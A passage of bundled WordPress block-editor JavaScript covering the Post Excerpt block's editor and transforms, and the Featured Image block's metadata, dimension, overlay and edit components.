    const blockEditingMode = (0, import_block_editor190.useBlockEditingMode)();
    const showControls = blockEditingMode === &quot;default&quot;;
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const userCanEdit = useCanEditEntity(&quot;postType&quot;, postType, postId);
    const [
      rawExcerpt,
      setExcerpt,
      { rendered: renderedExcerpt, protected: isProtected } = {}
    ] = (0, import_core_data60.useEntityProp)(&quot;postType&quot;, postType, &quot;excerpt&quot;, postId);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const postTypeSupportsExcerpts = (0, import_data105.useSelect)(
      (select9) =&gt; {
        if (postType === &quot;page&quot;) {
          return true;
        }
        return !!select9(import_core_data60.store).getPostType(postType)?.supports?.excerpt;
      },
      [postType]
    );
    const isEditable = userCanEdit &amp;&amp; !isDescendentOfQueryLoop &amp;&amp; postTypeSupportsExcerpts;
    const blockProps = (0, import_block_editor190.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const wordCountType = (0, import_i18n169._x)(&quot;words&quot;, &quot;Word count type. Do not translate!&quot;);
    const strippedRenderedExcerpt = (0, import_element97.useMemo)(() =&gt; {
      if (!renderedExcerpt) {
        return &quot;&quot;;
      }
      const document2 = new window.DOMParser().parseFromString(
        renderedExcerpt,
        &quot;text/html&quot;
      );
      return document2.body.textContent || document2.body.innerText || &quot;&quot;;
    }, [renderedExcerpt]);
    if (!postType || !postId) {
      return /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(import_jsx_runtime366.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
          import_block_editor190.AlignmentToolbar,
          {
            value: textAlign,
            onChange: (newAlign) =&gt; setAttributes({ textAlign: newAlign })
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(&quot;p&quot;, { children: (0, import_i18n169.__)(&quot;This block will display the excerpt.&quot;) }) })
      ] });
    }
    if (isProtected &amp;&amp; !userCanEdit) {
      return /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.Warning, { children: (0, import_i18n169.__)(
        &quot;The content is currently protected and does not have the available excerpt.&quot;
      ) }) });
    }
    const readMoreLink = /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
      import_block_editor190.RichText,
      {
        identifier: &quot;moreText&quot;,
        className: &quot;wp-block-post-excerpt__more-link&quot;,
        tagName: &quot;a&quot;,
        &quot;aria-label&quot;: (0, import_i18n169.__)(&quot;\u201CRead more\u201D link text&quot;),
        placeholder: (0, import_i18n169.__)(&#039;Add &quot;read more&quot; link text&#039;),
        value: moreText,
        onChange: (newMoreText) =&gt; setAttributes({ moreText: newMoreText }),
        withoutInteractiveFormatting: true
      }
    );
    const excerptClassName = clsx_default(&quot;wp-block-post-excerpt__excerpt&quot;, {
      &quot;is-inline&quot;: !showMoreOnNewLine
    });
    const rawOrRenderedExcerpt = (rawExcerpt || strippedRenderedExcerpt).trim();
    let trimmedExcerpt = &quot;&quot;;
    if (wordCountType === &quot;words&quot;) {
      trimmedExcerpt = rawOrRenderedExcerpt.split(/\s+/, excerptLength).join(&quot; &quot;);
    } else if (wordCountType === &quot;characters_excluding_spaces&quot;) {
      const excerptWithSpaces = rawOrRenderedExcerpt.split(&quot;&quot;, excerptLength).join(&quot;&quot;);
      const numberOfSpaces = excerptWithSpaces.length - excerptWithSpaces.replaceAll(&quot; &quot;, &quot;&quot;).length;
      trimmedExcerpt = rawOrRenderedExcerpt.split(&quot;&quot;, excerptLength + numberOfSpaces).join(&quot;&quot;);
    } else if (wordCountType === &quot;characters_including_spaces&quot;) {
      trimmedExcerpt = rawOrRenderedExcerpt.split(&quot;&quot;, excerptLength).join(&quot;&quot;);
    }
    const isTrimmed = trimmedExcerpt !== rawOrRenderedExcerpt;
    const excerptContent = isEditable ? /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
      import_block_editor190.RichText,
      {
        className: excerptClassName,
        &quot;aria-label&quot;: (0, import_i18n169.__)(&quot;Excerpt text&quot;),
        value: isSelected ? rawOrRenderedExcerpt : (!isTrimmed ? rawOrRenderedExcerpt : trimmedExcerpt + ELLIPSIS) || (0, import_i18n169.__)(&quot;No excerpt found&quot;),
        onChange: setExcerpt,
        tagName: &quot;p&quot;,
        allowedFormats: [],
        preserveWhiteSpace: true
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(&quot;p&quot;, { className: excerptClassName, children: !isTrimmed ? rawOrRenderedExcerpt || (0, import_i18n169.__)(&quot;No excerpt found&quot;) : trimmedExcerpt + ELLIPSIS });
    return /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(import_jsx_runtime366.Fragment, { children: [
      showControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
        import_block_editor190.AlignmentToolbar,
        {
          value: textAlign,
          onChange: (newAlign) =&gt; setAttributes({ textAlign: newAlign })
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(
        import_components109.__experimentalToolsPanel,
        {
          label: (0, import_i18n169.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              showMoreOnNewLine: true,
              excerptLength: 55
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
              import_components109.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; showMoreOnNewLine !== true,
                label: (0, import_i18n169.__)(&quot;Show link on new line&quot;),
                onDeselect: () =&gt; setAttributes({ showMoreOnNewLine: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
                  import_components109.ToggleControl,
                  {
                    label: (0, import_i18n169.__)(&quot;Show link on new line&quot;),
                    checked: showMoreOnNewLine,
                    onChange: (newShowMoreOnNewLine) =&gt; setAttributes({
                      showMoreOnNewLine: newShowMoreOnNewLine
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
              import_components109.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; excerptLength !== 55,
                label: (0, import_i18n169.__)(&quot;Max number of words&quot;),
                onDeselect: () =&gt; setAttributes({ excerptLength: 55 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
                  import_components109.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n169.__)(&quot;Max number of words&quot;),
                    value: excerptLength,
                    onChange: (value) =&gt; {
                      setAttributes({ excerptLength: value });
                    },
                    min: &quot;10&quot;,
                    max: &quot;100&quot;
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        excerptContent,
        !showMoreOnNewLine &amp;&amp; &quot; &quot;,
        showMoreOnNewLine ? /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(&quot;p&quot;, { className: &quot;wp-block-post-excerpt__more-text&quot;, children: readMoreLink }) : readMoreLink
      ] })
    ] });
  }

  // packages/block-library/build-module/post-excerpt/transforms.mjs
  var import_blocks85 = __toESM(require_blocks(), 1);
  var transforms25 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/post-content&quot;],
        transform: () =&gt; (0, import_blocks85.createBlock)(&quot;core/post-excerpt&quot;)
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/post-content&quot;],
        transform: () =&gt; (0, import_blocks85.createBlock)(&quot;core/post-content&quot;)
      }
    ]
  };
  var transforms_default26 = transforms25;

  // packages/block-library/build-module/post-excerpt/index.mjs
  var { name: name75 } = block_default74;
  var settings74 = {
    icon: post_excerpt_default,
    transforms: transforms_default26,
    edit: PostExcerptEditor
  };
  var init74 = () =&gt; initBlock({ name: name75, metadata: block_default74, settings: settings74 });

  // packages/block-library/build-module/post-featured-image/index.mjs
  var post_featured_image_exports = {};
  __export(post_featured_image_exports, {
    init: () =&gt; init75,
    metadata: () =&gt; block_default75,
    name: () =&gt; name76,
    settings: () =&gt; settings75
  });

  // packages/block-library/build-module/post-featured-image/block.json
  var block_default75 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-featured-image&quot;,
    title: &quot;Featured Image&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display a post&#039;s featured image.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      aspectRatio: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;string&quot;
      },
      height: {
        type: &quot;string&quot;
      },
      scale: {
        type: &quot;string&quot;,
        default: &quot;cover&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      rel: {
        type: &quot;string&quot;,
        attribute: &quot;rel&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      },
      overlayColor: {
        type: &quot;string&quot;
      },
      customOverlayColor: {
        type: &quot;string&quot;
      },
      dimRatio: {
        type: &quot;number&quot;,
        default: 0
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      },
      useFirstImageFromPost: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;queryId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;right&quot;, &quot;center&quot;, &quot;wide&quot;, &quot;full&quot;],
      color: {
        text: false,
        background: false
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      },
      filter: {
        duotone: true
      },
      shadow: {
        __experimentalSkipSerialization: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      border: &quot;.wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay&quot;,
      shadow: &quot;.wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder&quot;,
      filter: {
        duotone: &quot;.wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before&quot;
      }
    },
    editorStyle: &quot;wp-block-post-featured-image-editor&quot;,
    style: &quot;wp-block-post-featured-image&quot;
  };

  // packages/block-library/build-module/post-featured-image/edit.mjs
  var import_blob17 = __toESM(require_blob(), 1);
  var import_core_data61 = __toESM(require_core_data(), 1);
  var import_data106 = __toESM(require_data(), 1);
  var import_components112 = __toESM(require_components(), 1);
  var import_block_editor194 = __toESM(require_block_editor(), 1);
  var import_element98 = __toESM(require_element(), 1);
  var import_i18n172 = __toESM(require_i18n(), 1);
  var import_notices16 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/post-featured-image/dimension-controls.mjs
  var import_i18n170 = __toESM(require_i18n(), 1);
  var import_components110 = __toESM(require_components(), 1);
  var import_block_editor191 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime367 = __toESM(require_jsx_runtime(), 1);
  var SCALE_OPTIONS = /* @__PURE__ */ (0, import_jsx_runtime367.jsxs)(import_jsx_runtime367.Fragment, { children: [
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: &quot;cover&quot;,
        label: (0, import_i18n170._x)(&quot;Cover&quot;, &quot;Scale option for Image dimension control&quot;)
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: &quot;contain&quot;,
        label: (0, import_i18n170._x)(
          &quot;Contain&quot;,
          &quot;Scale option for Image dimension control&quot;
        )
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: &quot;fill&quot;,
        label: (0, import_i18n170._x)(&quot;Fill&quot;, &quot;Scale option for Image dimension control&quot;)
      }
    )
  ] });
  var DEFAULT_SCALE = &quot;cover&quot;;
  var scaleHelp = {
    cover: (0, import_i18n170.__)(
      &quot;Image is scaled and cropped to fill the entire space without being distorted.&quot;
    ),
    contain: (0, import_i18n170.__)(
      &quot;Image is scaled to fill the space without clipping nor distorting.&quot;
    ),
    fill: (0, import_i18n170.__)(
      &quot;Image will be stretched and distorted to completely fill the space.&quot;
    )
  };
  var DimensionControls = ({
    clientId,
    attributes: { aspectRatio, width, height, scale },
    setAttributes
  }) =&gt; {
    const [availableUnits, defaultRatios, themeRatios, showDefaultRatios] = (0, import_block_editor191.useSettings)(
      &quot;spacing.units&quot;,
      &quot;dimensions.aspectRatios.default&quot;,
      &quot;dimensions.aspectRatios.theme&quot;,
      &quot;dimensions.defaultAspectRatios&quot;
    );
    const units = (0, import_components110.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || [&quot;px&quot;, &quot;%&quot;, &quot;vw&quot;, &quot;em&quot;, &quot;rem&quot;]
    });
    const onDimensionChange = (dimension, nextValue) =&gt; {
      const parsedValue = parseFloat(nextValue);
      if (isNaN(parsedValue) &amp;&amp; nextValue) {
        return;
      }
      setAttributes({
        [dimension]: parsedValue &lt; 0 ? &quot;0&quot; : nextValue
      });
    };
    const scaleLabel = (0, import_i18n170._x)(&quot;Scale&quot;, &quot;Image scaling options&quot;);
    const showScaleControl = height || aspectRatio &amp;&amp; aspectRatio !== &quot;auto&quot;;
    const themeOptions = themeRatios?.map(({ name: name123, ratio }) =&gt; ({
      label: name123,
      value: ratio
    }));
    const defaultOptions = defaultRatios?.map(({ name: name123, ratio }) =&gt; ({
      label: name123,
      value: ratio
    }));
    const aspectRatioOptions = [
      {
        label: (0, import_i18n170._x)(
          &quot;Original&quot;,
          &quot;Aspect ratio option for dimensions control&quot;
        ),
        value: &quot;auto&quot;
      },
      ...showDefaultRatios ? defaultOptions : [],
      ...themeOptions ? themeOptions : []
    ];
    return /* @__PURE__ */ (0, import_jsx_runtime367.jsxs)(import_jsx_runtime367.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          hasValue: () =&gt; !!aspectRatio,
          label: (0, import_i18n170.__)(&quot;Aspect ratio&quot;),
          onDeselect: () =&gt; setAttributes({ aspectRatio: void 0 }),
          resetAllFilter: () =&gt; ({
            aspectRatio: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.SelectControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)(&quot;Aspect ratio&quot;),
              value: aspectRatio || &quot;auto&quot;,
              options: aspectRatioOptions,
              onChange: (nextAspectRatio) =&gt; setAttributes({ aspectRatio: nextAspectRatio })
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          className: &quot;single-column&quot;,
          hasValue: () =&gt; !!height,
          label: (0, import_i18n170.__)(&quot;Height&quot;),
          onDeselect: () =&gt; setAttributes({ height: void 0 }),
          resetAllFilter: () =&gt; ({
            height: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalUnitControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)(&quot;Height&quot;),
              labelPosition: &quot;top&quot;,
              value: height || &quot;&quot;,
              min: 0,
              onChange: (nextHeight) =&gt; onDimensionChange(&quot;height&quot;, nextHeight),
              units
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          className: &quot;single-column&quot;,
          hasValue: () =&gt; !!width,
          label: (0, import_i18n170.__)(&quot;Width&quot;),
          onDeselect: () =&gt; setAttributes({ width: void 0 }),
          resetAllFilter: () =&gt; ({
            width: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalUnitControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)(&quot;Width&quot;),
              labelPosition: &quot;top&quot;,
              value: width || &quot;&quot;,
              min: 0,
              onChange: (nextWidth) =&gt; onDimensionChange(&quot;width&quot;, nextWidth),
              units
            }
          )
        }
      ),
      showScaleControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          hasValue: () =&gt; !!scale &amp;&amp; scale !== DEFAULT_SCALE,
          label: scaleLabel,
          onDeselect: () =&gt; setAttributes({
            scale: DEFAULT_SCALE
          }),
          resetAllFilter: () =&gt; ({
            scale: DEFAULT_SCALE
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalToggleGroupControl,
            {
              __next40pxDefaultSize: true,
              label: scaleLabel,
              value: scale,
              help: scaleHelp[scale],
              onChange: (value) =&gt; setAttributes({
                scale: value
              }),
              isBlock: true,
              children: SCALE_OPTIONS
            }
          )
        }
      )
    ] });
  };
  var dimension_controls_default = DimensionControls;

  // packages/block-library/build-module/post-featured-image/overlay-controls.mjs
  var import_components111 = __toESM(require_components(), 1);
  var import_block_editor192 = __toESM(require_block_editor(), 1);
  var import_compose44 = __toESM(require_compose(), 1);
  var import_i18n171 = __toESM(require_i18n(), 1);
  var import_jsx_runtime368 = __toESM(require_jsx_runtime(), 1);
  var Overlay = ({
    clientId,
    attributes: attributes2,
    setAttributes,
    overlayColor,
    setOverlayColor
  }) =&gt; {
    const { dimRatio } = attributes2;
    const { gradientValue, setGradient } = (0, import_block_editor192.__experimentalUseGradient)();
    const colorGradientSettings = (0, import_block_editor192.__experimentalUseMultipleOriginColorsAndGradients)();
    if (!colorGradientSettings.hasColorsOrGradients) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime368.jsxs)(import_jsx_runtime368.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
        import_block_editor192.__experimentalColorGradientSettingsDropdown,
        {
          __experimentalIsRenderedInSidebar: true,
          settings: [
            {
              colorValue: overlayColor.color,
              gradientValue,
              label: (0, import_i18n171.__)(&quot;Overlay&quot;),
              onColorChange: setOverlayColor,
              onGradientChange: setGradient,
              isShownByDefault: true,
              resetAllFilter: () =&gt; ({
                overlayColor: void 0,
                customOverlayColor: void 0,
                gradient: void 0,
                customGradient: void 0
              }),
              clearable: true
            }
          ],
          panelId: clientId,
          ...colorGradientSettings
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
        import_components111.__experimentalToolsPanelItem,
        {
          hasValue: () =&gt; dimRatio !== void 0,
          label: (0, import_i18n171.__)(&quot;Overlay opacity&quot;),
          onDeselect: () =&gt; setAttributes({ dimRatio: 0 }),
          resetAllFilter: () =&gt; ({
            dimRatio: 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
            import_components111.RangeControl,
            {
              label: (0, import_i18n171.__)(&quot;Overlay opacity&quot;),
              value: dimRatio,
              onChange: (newDimRatio) =&gt; setAttributes({
                dimRatio: newDimRatio
              }),
              min: 0,
              max: 100,
              step: 10,
              required: true,
              __next40pxDefaultSize: true
            }
          )
        }
      )
    ] });
  };
  var overlay_controls_default = (0, import_compose44.compose)([
    (0, import_block_editor192.withColors)({ overlayColor: &quot;background-color&quot; })
  ])(Overlay);

  // packages/block-library/build-module/post-featured-image/overlay.mjs
  var import_block_editor193 = __toESM(require_block_editor(), 1);
  var import_compose45 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/post-featured-image/utils.mjs
  function dimRatioToClass2(ratio) {
    return ratio === void 0 ? null : &quot;has-background-dim-&quot; + 10 * Math.round(ratio / 10);
  }

  // packages/block-library/build-module/post-featured-image/overlay.mjs
  var import_jsx_runtime369 = __toESM(require_jsx_runtime(), 1);
  var Overlay2 = ({ attributes: attributes2, overlayColor }) =&gt; {
    const { dimRatio } = attributes2;
    const { gradientClass, gradientValue } = (0, import_block_editor193.__experimentalUseGradient)();
    const colorGradientSettings = (0, import_block_editor193.__experimentalUseMultipleOriginColorsAndGradients)();
    const borderProps = (0, import_block_editor193.__experimentalUseBorderProps)(attributes2);
    const overlayStyles = {
      backgroundColor: overlayColor.color,
      backgroundImage: gradientValue,
      ...borderProps.style
    };
    if (!colorGradientSettings.hasColorsOrGradients || !dimRatio) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime369.jsx)(
      &quot;span&quot;,
      {
        &quot;aria-hidden&quot;: &quot;true&quot;,
        className: clsx_default(
          &quot;wp-block-post-featured-image__overlay&quot;,
          dimRatioToClass2(dimRatio),
          {
            [overlayColor.class]: overlayColor.class,
            &quot;has-background-dim&quot;: dimRatio !== void 0,
            &quot;has-background-gradient&quot;: gradientValue,
            [gradientClass]: gradientClass
          },
          borderProps.className
        ),
        style: overlayStyles
      }
    );
  };
  var overlay_default = (0, import_compose45.compose)([
    (0, import_block_editor193.withColors)({ overlayColor: &quot;background-color&quot; })
  ])(Overlay2);

  // packages/block-library/build-module/post-featured-image/edit.mjs
  var import_jsx_runtime370 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES8 = [&quot;image&quot;];
  var { ResolutionTool: ResolutionTool4 } = unlock(import_block_editor194.privateApis);
  var DEFAULT_MEDIA_SIZE_SLUG5 = &quot;full&quot;;
  function FeaturedImageResolutionTool({ image, value, onChange }) {
    const { imageSizes } = (0, import_data106.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor194.store);
      return {
        imageSizes: getSettings2().imageSizes
      };
    }, []);
    if (!imageSizes?.length) {
      return null;
    }
    const imageSizeOptions = imageSizes.filter(
      ({ slug }) =&gt; image?.media_details?.sizes?.[slug]?.source_url
    ).map(({ name: name123, slug }) =&gt; ({ value: slug, label: name123 }));
    return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
      ResolutionTool4,
      {
        value,
        defaultValue: DEFAULT_MEDIA_SIZE_SLUG5,
        options: imageSizeOptions,
        onChange
      }
    );
  }
  function PostFeaturedImageEdit({
    clientId,
    attributes: attributes2,
    setAttributes,
    context: { postId, postType: postTypeSlug, queryId }
  }) {
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const {
      isLink,
      aspectRatio,
      height,
      width,
      scale,
      sizeSlug,
      rel,
      linkTarget,
      useFirstImageFromPost
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element98.useState)();
    const [storedFeaturedImage, setFeaturedImage] = (0, import_core_data61.useEntityProp)(
      &quot;postType&quot;,
      postTypeSlug,
      &quot;featured_media&quot;,
      postId
    );
    const [postContent] = (0, import_core_data61.useEntityProp)(
      &quot;postType&quot;,
      postTypeSlug,
      &quot;content&quot;,
      postId
    );
    const featuredImage = (0, import_element98.useMemo)(() =&gt; {
      if (storedFeaturedImage) {
        return storedFeaturedImage;
      }
      if (!useFirstImageFromPost) {
        return;
      }
      const imageOpener = /&lt;!--\s+wp:(?:core\/)?image\s+(?&lt;attrs&gt;{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?--&gt;).)*)?}\s+)?--&gt;/.exec(
        postContent
      );
      const imageId = imageOpener?.groups?.attrs &amp;&amp; JSON.parse(imageOpener.groups.attrs)?.id;
      return imageId;
    }, [storedFeaturedImage, useFirstImageFromPost, postContent]);
    const { media, postType, postPermalink } = (0, import_data106.useSelect)(
      (select9) =&gt; {
        const { getEntityRecord, getPostType, getEditedEntityRecord } = select9(import_core_data61.store);
        return {
          media: featuredImage &amp;&amp; getEntityRecord(&quot;postType&quot;, &quot;attachment&quot;, featuredImage, {
            context: &quot;view&quot;
          }),
          postType: postTypeSlug &amp;&amp; getPostType(postTypeSlug),
          postPermalink: getEditedEntityRecord(
            &quot;postType&quot;,
            postTypeSlug,
            postId
          )?.link
        };
      },
      [featuredImage, postTypeSlug, postId]
    );
    const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url || media?.source_url;
    const blockProps = (0, import_block_editor194.useBlockProps)({
      style: { width, height, aspectRatio },
      className: clsx_default({
        &quot;is-transient&quot;: temporaryURL
      })
    });
    const borderProps = (0, import_block_editor194.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor194.__experimentalGetShadowClassesAndStyles)(attributes2);
    const blockEditingMode = (0, import_block_editor194.useBlockEditingMode)();
    const placeholder2 = (content) =&gt; {
      return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_components112.Placeholder,
        {
          className: clsx_default(
            &quot;block-editor-media-placeholder&quot;,
            borderProps.className
          ),
          withIllustration: true,
          style: {
            height: !!aspectRatio &amp;&amp; &quot;100%&quot;,
            width: !!aspectRatio &amp;&amp; &quot;100%&quot;,
            ...borderProps.style,
            ...shadowProps.style
          },
          children: content
        }
      );
    };
    const onSelectImage = (value) =&gt; {
      if (value?.id) {
        setFeaturedImage(value.id);
      }
      if (value?.url &amp;&amp; (0, import_blob17.isBlobURL)(value.url)) {
        setTemporaryURL(value.url);
      }
    };
    const onResetImage = () =&gt; {
      setAttributes({
        isLink: false,
        linkTarget: &quot;_self&quot;,
        rel: &quot;&quot;,
        sizeSlug: void 0
      });
      setFeaturedImage(0);
    };
    (0, import_element98.useEffect)(() =&gt; {
      if (mediaUrl &amp;&amp; temporaryURL) {
        setTemporaryURL();
      }
    }, [mediaUrl, temporaryURL]);
    const { createErrorNotice } = (0, import_data106.useDispatch)(import_notices16.store);
    const onUploadError = (message) =&gt; {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
      setTemporaryURL();
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const controls = blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { group: &quot;color&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        overlay_controls_default,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { group: &quot;dimensions&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        dimension_controls_default,
        {
          clientId,
          attributes: attributes2,
          setAttributes,
          media
        }
      ) }),
      (featuredImage || isDescendentOfQueryLoop || !postId) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(
        import_components112.__experimentalToolsPanel,
        {
          label: (0, import_i18n172.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              isLink: false,
              linkTarget: &quot;_self&quot;,
              rel: &quot;&quot;,
              sizeSlug: DEFAULT_MEDIA_SIZE_SLUG5
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
                label: postType?.labels.singular_name ? (0, import_i18n172.sprintf)(
                  // translators: %s: Name of the post type e.g: &quot;post&quot;.
                  (0, import_i18n172.__)(&quot;Link to %s&quot;),
                  postType.labels.singular_name
                ) : (0, import_i18n172.__)(&quot;Link to post&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!isLink,
                onDeselect: () =&gt; setAttributes({
                  isLink: false
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.ToggleControl,
                  {
                    label: postType?.labels.singular_name ? (0, import_i18n172.sprintf)(
                      // translators: %s: Name of the post type e.g: &quot;post&quot;.
                      (0, import_i18n172.__)(&quot;Link to %s&quot;),
                      postType.labels.singular_name
                    ) : (0, import_i18n172.__)(&quot;Link to post&quot;),
                    onChange: () =&gt; setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n172.__)(&quot;Open in new tab&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; &quot;_self&quot; !== linkTarget,
                onDeselect: () =&gt; setAttributes({
                  linkTarget: &quot;_self&quot;
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.ToggleControl,
                  {
                    label: (0, import_i18n172.__)(&quot;Open in new tab&quot;),
                    onChange: (value) =&gt; setAttributes({
                      linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                    }),
                    checked: linkTarget === &quot;_blank&quot;
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
